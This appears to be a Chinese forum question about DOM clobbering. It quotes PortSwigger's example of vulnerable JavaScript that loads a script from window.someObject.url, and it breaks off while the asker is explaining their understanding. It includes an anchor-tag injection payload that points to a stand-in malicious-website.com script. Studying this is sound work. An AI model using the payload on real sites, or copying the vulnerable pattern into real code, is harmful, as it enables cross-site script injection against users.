我对DOM Clobbering主题有一些疑问:
Portswigger 对此进行了解释:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Run Code Online (Sandbox Code Playgroud)
要利用此易受攻击的代码,您可以注入以下 HTML,以使用锚元素破坏 someObject 引用:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
Run Code Online (Sandbox Code Playgroud)
由于两个锚点使用相同的 ID,因此 DOM 将它们分组到一个 DOM 集合中。然后 DOM 破坏向量用这个 DOM 集合覆盖 someObject 引用。在最后一个锚元素上使用 name 属性是为了破坏 someObject 对象的 url 属性,该对象指向外部脚本。
我的理解是:
具有 id 的锚元素someObject存储在类似数组的结构中 - DOM 集合。
通过
var someObject = window.someObject || {};
Run Code Online (Sandbox Code Playgroud)
锚元素是使用 id 引用的 - 某些浏览器将 id 直接存储在 window 对象中(html 元素的 ID …